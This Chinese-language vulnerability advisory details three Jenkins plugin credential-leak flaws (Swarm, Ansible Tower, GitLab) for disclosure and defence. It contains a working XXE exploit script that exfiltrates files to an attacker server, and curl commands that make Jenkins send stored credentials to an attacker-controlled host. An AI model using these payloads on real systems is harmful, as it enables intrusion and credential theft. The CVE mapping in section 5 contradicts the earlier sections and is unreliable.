导致数据库凭据泄露:详细分析Jenkins Swarm、Ansible、GitLab插件信息泄露漏洞(CVE-2019-10309/10300/10310)

作者:深圳市网安计算机安全检测技术有限公司 | 国际 2019/05/09 10:04:17 279
文章来源:https://www.funstec.com/enterprise/1963.html

一、概述

       Jenkins是一个用Java编写的开源自动化服务器。借助一些插件,可以将Jenkins与其他软件集成,例如GitLab。5月7日,Cisco Talos团队公开了其中三个插件的漏洞,这三个插件分别是Swarm、Ansible和GitLab。这些插件中的漏洞均属于信息泄露类型,攻击者借助这些漏洞,可能欺骗上述插件,将Jenkins数据库中的凭据泄露至攻击者控制的服务器。

       根据我们的协调漏洞披露政策,Cisco Talos与Jenkins及相关公司进行了合作,以确保这些问题得以彻底解决,并为受影响的客户提供更新

二、Jenkins Swarm插件XXE信息泄露漏洞(CVE-2019-10309)

       在Jenkins自组织的Swarm模块插件3.14版本中,getCandidateFromDatagramResponses()方法存在一个简单的XXE(XML外部实体)漏洞。由于这一漏洞的存在,与Swarm客户端在同一网络上的攻击者可以借助精心构造的响应信息来响应UDP发现请求,从而实现在系统上读取任意文件。

2.1 产品URL

https://github.com/jenkinsci/swarm-plugin

2.2 CVSS v3评分

6.1 – CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L

2.3 CWE

CWE-611  XML外部实体(XXE)引用未进行正确限制

2.4 漏洞详细分析

       该漏洞可能允许连接到部署Swarm代理网络中的非特权用户访问代理实例上的数据,而无需进行额外的身份验证。由于UDP广播发现工作机制中存在缺陷,将导致使用此机制寻找Jenkins Master的过程中,会对代理找到的所有Master发生未经身份验证的本地文件读取。我们在基于Docker的环境中进行了测试,其中运行Swarm代理的所有代理都可以成功实现该漏洞的利用。

       针对这一漏洞,我们计算出CVSS v3评分为6.1。但是,该漏洞实际的威胁程度很大程度上取决于部署方式,并且根据实际部署方式的不同,这一评分有可能会显著降低。此外,由于Java XML解析器的性质,包含某些字符的文件无法成功反射到FTP或HTTP URI中,因此也就无法成功实现信息泄露。

2.5 漏洞利用概念证明

Dockerfile

FROM ubuntu:latest
 
# Update repository metadata and install a JVM.
RUN apt update && \
    apt install -y openjdk-8-jre-headless tcpdump curl && \
    apt install -y python3 python3-pip tmux && \
    pip3 install pyftpdlib
 
# Grab the latest Swarm Client.
RUN curl -D - -o /var/tmp/swarm-client.jar \
    https://repo.jenkins-ci.org/releases/org/jenkins-ci/plugins/swarm-client/3.14/swarm-client-3.14.jar
 
# Copy our exploit code to the container.
COPY exploit.py /root/exploit.py
 
# Give 'er.
ENTRYPOINT java -jar /var/tmp/swarm-client.jar

exploit.py

''' Jenkins Swarm-Plugin XXE PoC (via @Darkarnium). '''
 
import os
import sys
import socket
import uuid
import logging
import http.server
import socketserver
import multiprocessing
 
 
def find_ip():
    ''' Find the IP of the 'primary' network interface. '''
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.connect(('8.8.8.8', 80))
    addr = sock.getsockname()[0]
    sock.close()
    return addr
 
 
class RequestHandler(http.server.BaseHTTPRequestHandler):
    ''' Provides a set of request handlers for our Fake jenkins server. '''
 
    def __init__(self, request, client_address, server):
        ''' Bot on a logger. '''
        self.logger = logging.getLogger(__name__)
        super().__init__(request, client_address, server)
 
    def version_string(self):
        ''' Override version string / Server header. '''
        return 'TotallyJenkins'
 
    def log_message(self, fmt, *args):
        ''' Where we're going, we don't need logs. '''
        pass
 
    def log_error(self, fmt, *args):
        ''' Where we're going, we don't need logs. '''
        pass
 
    def log_request(self, code='-', size='-'):
        ''' Where we're going, we don't need logs. '''
        self.logger.debug(
            'Received %s request for %s from %s',
            self.command,
            self.path,
            self.client_address
        )
 
    def build_stage_two(self):
        ''' Builds a second stage XXE payload - for exfil. '''
        payload = '''
            <!ENTITY % local1 SYSTEM "file:///etc/debian_version">
            <!ENTITY % remote1 "<!ENTITY exfil1 SYSTEM 'http://{0}:{1}/exfil?/etc/debian_version=%local1;'>">
            <!ENTITY % local2 SYSTEM "file:///etc/hostname">
            <!ENTITY % remote2 "<!ENTITY exfil2 SYSTEM 'http://{0}:{1}/exfil?/etc/hostname=%local2;'>">
        '''.format(find_ip(), '8080')
        return payload.encode()
 
    def do_GET(self):
        ''' Implements routing for HTTP GET requests. '''
        self.logger.debug('Processing GET on route "%s"', self.path)
 
        # Provide an exfiltration endpoint.
        if '/exfil' in self.path:
            self.logger.warn('Exfiltrated %s -> "%s"', *self.path.split('?')[1].split('='))
            self.send_response(200, 'OK')
            self.send_header('X-Hudson', '1.395')
            self.send_header('Content-Length', '2')
            self.end_headers()
            self.wfile.write(b'OK')
 
        # Serve the payload DTD.
        if self.path.endswith('.dtd'):
            stage_two = self.build_stage_two()
            self.send_response(200, 'OK')
            self.send_header('Content-Type', 'application/x-java-jnlp-file')
            self.send_header('Content-Length', len(stage_two))
            self.end_headers()
            self.wfile.write(stage_two)
 
        # Ensure the X-Hudson check in Swarm plugin passes.
        if self.path == '/':
            self.send_response(200, 'OK')
            self.send_header('X-Hudson', '1.395')
            self.send_header('Content-Length', '2')
            self.end_headers()
            self.wfile.write(b'OK')
 
    def do_PUT(self):
        ''' Mock HTTP PUT requests. '''
        self.send_response(500)
 
    def do_POST(self):
        ''' Mock HTTP POST requests. '''
        self.logger.debug('Processing POST on route "%s"', self.path)
 
        # Respond with an OK to keep the exchange going.
        if self.path.startswith('/plugin/swarm/createSlave'):
            self.send_response(200, 'OK')
            self.send_header('Content-Length', '0')
            self.end_headers()
 
    def do_HEAD(self):
        ''' Mock HTTP HEAD requests. '''
        self.send_response(500)
 
    def do_PATCH(self):
        ''' Mock HTTP PATCH requests. '''
        self.send_response(500)
 
    def do_OPTIONS(self):
        ''' Mock HTTP HEAD requests. '''
        self.send_response(500)
 
class HTTPServer(multiprocessing.Process):
    ''' Provides a Fake Jenkins server to signal the Swarm. '''
 
    def __init__(self, port=8080):
        ''' Bolt on a logger. '''
        super().__init__()
        self.port = port
        self.logger = logging.getLogger(__name__)
 
    def run(self):
        ''' Do the thing. '''
        self.logger.info('Starting HTTP listener on TCP %s', self.port)
 
        # Kick off the server.
        instance = http.server.HTTPServer(
            ('0.0.0.0', self.port),
            RequestHandler
        )
        instance.serve_forever()
 
 
class Spwner(multiprocessing.Process):
    ''' Provides a Spawn broadcast listener and responder. '''
 
    def __init__(self, port=33848):
        ''' Setup a socket and bolt on a logger. '''
        super().__init__()
        self.port = port
        self.logger = logging.getLogger(__name__)
        self.logger.info('Binding broadcast listener to UDP %s', port)
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.bind(('255.255.255.255', self.port))
        self.swarm = str(uuid.uuid4())
 
    def build_swarm_xml(self):
        ''' Builds a baked Swarm payload. '''
        # This is dirty.
        payload = '''<?xml version="1.0" encoding="ISO-8859-1"?>
            <!DOCTYPE swarm [
                <!ENTITY % stageTwo SYSTEM "http://{0}:{1}/stageTwo.dtd">
                %stageTwo;
                %remote1;
                %remote2;
            ]>
            <root>
                <swarm>&exfil1;</swarm>
                <version>&exfil2;</version>
                <url>http://{0}:{1}/</url>
            </root>
        '''.format(find_ip(), '8080')
        return payload.encode()
 
    def respond(self, client):
        ''' Send a payload to the given client. '''
        addr, port = client
        self.logger.info('Sending payload to %s:%s', addr, port)
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(self.build_swarm_xml(), (addr, port))
        self.logger.info('Payload sent!')
 
    def listen(self):
        ''' Listen for clients. '''
        while True:
            _, client = self.sock.recvfrom(1024)
            self.logger.info('Received a Swarm broadcast from %s', client)
            self.respond(client)
 
    def run(self):
        ''' Do the thing. '''
        self.listen()
 
 
def main():
    ''' Jenkins Swarm-Plugin RCE PoC. '''
    # Configure the logger.
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(process)d - [%(levelname)s] %(message)s',
    )
    log = logging.getLogger(__name__)
    # log.setLevel(logging.DEBUG)
 
    # Spawn a fake Jenkins HTTP server.
    log.info('Spawning fake Jenkins HTTP Server')
    httpd = HTTPServer()
    httpd.start()
 
    # Spawn a broadcast listener.
    log.info('Spawning a Swarm broadcast listener')
    listener = Spwner()
    listener.start()
 
 
if __name__ == '__main__':
    main()

2.6 缓解方案

       在厂商发布修复后版本之前,建议用户禁用UDP广播功能。要禁用这一功能,可以通过在命令行参数中,指定要连接的Jenkins主服务器来实现。

2.7 时间节点

· 2018年12月5日 向厂商报告该漏洞

· 2019年4月30日  厂商发布补丁

· 2019年5月6日  公开披露漏洞信息

2.8 贡献者

       该漏洞由Cisco Umbrella的Peter Adkins发现。

三、Jenkins Ansible Tower插件信息泄露漏洞(CVE-2019-10300)

       在Jenkins Ansible Tower插件0.9.1版本中,testTowerConnection函数存在一个可以被利用的信息泄露漏洞。攻击者以具有“全局可读”(Overall/Read)权限的用户(例如匿名用户,如果已启用)登录,精心构造一个HTTP请求并发送,可能会导致该插件将Jenkins凭据数据库中的凭据信息泄露到攻击者控制的服务器上。由于此漏洞可以通过HTTP GET请求来利用,因此也可以通过跨站请求伪造(CSRF)来利用此漏洞。除上述内容外,如果响应服务器未返回格式正确的JSON文档,则该响应将作为报告错误的一部分反馈给用户,从而导致仅能通过HTTP GET方式实现服务器端请求伪造(SSRF)漏洞利用。

       该漏洞也存在于该插件的fillTowerCredentialsIdItems函数中,该函数允许遍历该攻击所需的凭据标识符。

3.1 产品URL

https://github.com/jenkinsci/ansible-tower-plugin

https://plugins.jenkins.io/ansible-tower

3.2 CVSS v3评分

7.7 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

3.3 CWE

CWE-285  不适当的授权

3.4 漏洞详细分析

       Ansible是一个开源软件,允许用户配置和部署各种应用程序。Ansible Tower插件旨在优化Ansible的使用,使该软件更适用于各类IT团队。由于缺少对Jenkins的权限检查,由org.jenkinsci.plugins.ansible_tower.util.TowerInstallation的doTestTowerConnection方法暴露的testTowerConnection存在该漏洞。在doFillTowerCredentialsIdItems方法中也忽略了权限检查,从而导致攻击者可以通过该方法枚举凭据,产生相同的信息泄露风险。

       由于此插件对远程Ansible Tower实例进行身份验证的方式存在问题,将导致与towerCredentialsId相关联的凭据,在经过Base64编码后,作为HTTP Authorization标头的一部分发送到攻击者控制的服务器,同时还会发送攻击者指定位置的JSON文档明文。我们在运行此插件易受攻击版本的环境中进行了配置,下面是允许攻击者访问Jenkins 2.165实例进行匿名读取的攻击示例。

# List credentials on target Jenkins instance.
$ curl -s -X GET -G \
    -d 'pretty=true' \
    'http://127.0.0.1:8080/jenkins/descriptorByName/org.jenkinsci.plugins.ansible_tower.util.TowerInstallation/fillTowerCredentialsIdItems'
{
"_class" : "com.cloudbees.plugins.credentials.common.StandardListBoxModel",
"values" : [
    {
    "name" : "- none -",
    "selected" : false,
    "value" : ""
    },
    {
    "name" : "BBBBBB/****** (ExampleOnly)",
    "selected" : false,
    "value" : "01e367ef-54fb-4da0-8044-5112935037bb"
    },
    {
    "name" : "SecureUsername/****** (Credentials for X)",
    "selected" : false,
    "value" : "287fcbe2-177e-4108-ac58-efdc0a507376"
    },
    {
    "name" : "A Secret Text Entry",
    "selected" : false,
    "value" : "532ba431-e25d-4aad-bc74-fb5b2cc03bd7"
    }
]
}
 
# Send credentials to an attacker's server (http://127.0.0.1:7000?).
# The trailing '?' is to ensure that the expected path is appended as a
# query parameter, rather than part of the query path.
#
# Two requests are performed by Jenkins here. The first is a 'ping', which
# requires that the target respond with a well formed JSON response -
# though any JSON response will do. If this first request fails, the reply
# will be reflected to the client (SSRF). If it succeeds, a subsequent
# POST will be performed which contains the credentials.
#
$ curl -s -X GET -G \
    -d 'towerURL=http://127.0.0.1:7000/report.json?' \
    -d 'towerTrustCert=false' \
    -d 'enableDebugging=true' \
    -d 'towerCredentialsId=287fcbe2-177e-4108-ac58-efdc0a507376' \
    'http://127.0.0.1:8080/jenkins/descriptorByName/org.jenkinsci.plugins.ansible_tower.util.TowerInstallation/testTowerConnection'

存在漏洞的插件以HTTP GET形式提交给远程服务器的请求,类似于如下内容:

# First request from Jenkins (GET)
/report.json?/api/v2/ping/
Host: 127.0.0.1:7000
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1-alpha1 (java 1.5)
 
# Second request from Jenkins (POST)
/report.json?/api/v2/authtoken/
Authorization: Basic U2VjdXJlVXNlcm5hbWU6U2VjdXJlUGFzc3dvcmRPaE5v
Content-Type: application/json
Content-Length: 61
Host: 127.0.0.1:7000
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1-alpha1 (java 1.5)
 
{"username":"SecureUsername","password":"SecurePasswordOhNo"}

3.5 缓解方案

       在厂商发布修复后版本之前,如果可能,应尽量禁用该插件,或删除具有“全局/读取”(Overall/Read)权限的不必要用户,例如匿名访问。

3.6 时间节点

2019年3月12日 向厂商报告该漏洞

2019年4月30日  厂商发布补丁

2019年5月6日  公开披露漏洞信息

3.7 贡献者

该漏洞由Cisco Umbrella的Peter Adkins发现。

四、Jenkins GitLab插件信息泄露漏洞(CVE-2019-10310)

       Jenkins GitLab插件1.5.11版本的testConnection函数中,存在可以被利用的信息泄露漏洞。攻击者以具有“全局可读”(Overall/Read)权限的用户(例如匿名用户,如果已启用)登录,精心构造一个HTTP请求并发送,可能会导致该插件将Jenkins凭据数据库中的凭据信息泄露到攻击者控制的服务器上。由于此漏洞可以通过HTTP GET请求利用,因此也可以通过跨站请求伪造(CSRF)来实现此漏洞的利用。

       为了使这一攻击成功进行,攻击者需要知道要获取的凭据的凭据ID。该凭据ID可以通过多种方式查找,例如公开的编译日志(读取)、访问Jenkins UI中的凭证管理器(读取),或者通过fileCredentialsIdItems样式中另外一个易受攻击的插件来实现。

4.1 产品URL

https://plugins.jenkins.io/gitlab-plugin

https://github.com/jenkinsci/gitlab-plugin

4.2 CVSS v3评分

7.7 – CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

4.3 CWE

CWE-285  不适当的授权

4.4 漏洞详细分析

       由于缺少对Jenkins的权限检查,com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig的doTestConnection方法暴露的testConnection中存在这一漏洞。

       由于该插件针对远程GitLab实例进行身份验证的方式存在问题,与攻击者指定的credentialsId相关联的凭据将作为HTTP PRIVATE-TOKEN标头的一部分,发送至攻击者控制的服务器。我们在运行此插件易受攻击版本的环境中进行了配置,下面是允许攻击者访问Jenkins 2.165实例进行匿名读取的攻击示例。

# Send credentials to an attacker's server (http://127.0.0.1:7000?).
# The trailing '?' is to ensure that the expected path is appended as a
# query parameter, rather than part of the query path.
$ curl -s -X GET -G \
    -d 'url=http://127.0.0.1:7000/?' \
    -d 'clientBuilderId=autodetect' \
    -d 'apiTokenId=532ba431-e25d-4aad-bc74-fb5b2cc03bd7' \
    'http://127.0.0.1:8080/jenkins/descriptorByName/com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig/testConnection'

       插件以HTTP GET方式发送至远程服务器的请求,类似于下面内容。当上述clientBuilderdId字段设置为autodetect(自动检测)时,会有多个请求被发送至攻击者指定的服务器。

# First request from Jenkins (GET).
/api/v4/user
Accept: application/json
PRIVATE-TOKEN: ASecretTextEntry
Host: 127.0.0.1:7000
Connection: Keep-Alive
 
# Second request from Jenkins (GET)
/api/v3/user
Accept: application/json
PRIVATE-TOKEN: ASecretTextEntry
Host: 127.0.0.1:7000
Connection: Keep-Alive

       值得注意的是,由于攻击者指定的服务器响应不符合预期的格式,因此插件将会产生错误,并且不呈现响应内容。

4.5 缓解方案

       在厂商发布修复后版本之前,如果可能,应尽量禁用该插件,或删除具有“全局/读取”(Overall/Read)权限的不必要用户,例如匿名访问。

4.6 时间节点

· 2019年3月12日 向厂商报告该漏洞

· 2019年4月30日  厂商发布补丁

· 2019年5月6日  公开披露漏洞信息

4.7 贡献者

该漏洞由Cisco Umbrella的Peter Adkins发现。

五、测试环境

       经过测试,我们确认Jenkins Ansible Tower插件的0.9.1版本受到CVE-2019-10310的影响,Jenkins Artifactory插件的3.2.1和3.2.0版本受到CVE-2019-5026的影响,Jenkins GitLab插件的1.5.11版本受到CVE-2019-10300的影响,Swarm-Client的3.14版本受到CVE-2019-10309的影响。

六、检测规则

       以下SNORT规则将检测该漏洞的利用尝试。需要注意的是,可能会在未来某个日期发布其他规则,并且根据其他漏洞信息的补充,当前规则可能会发生更改。有关最新的规则信息,可以参阅Firepower管理中心,或访问Snort.org。

Snort规则:49362、49363、49370、49373。

七、补充说明

       在Cisco Talos网站的原文中,分别将这三个漏洞标注为CVE-2019-5022、CVE-2019-5025、CVE-2019-5027,而根据MITRE的官网,查询这三个漏洞的实际编号分别为CVE-2019-10309、CVE-2019-10300和CVE-2019-10310。目前暂不清楚是原文有误,还是重复分配了CVE编号。本文在翻译时,均以MITRE的官方CVE编号为准。


推荐关注

指导单位
广东省公安厅网络警察总队 广东省信息安全等级保护协调小组办公室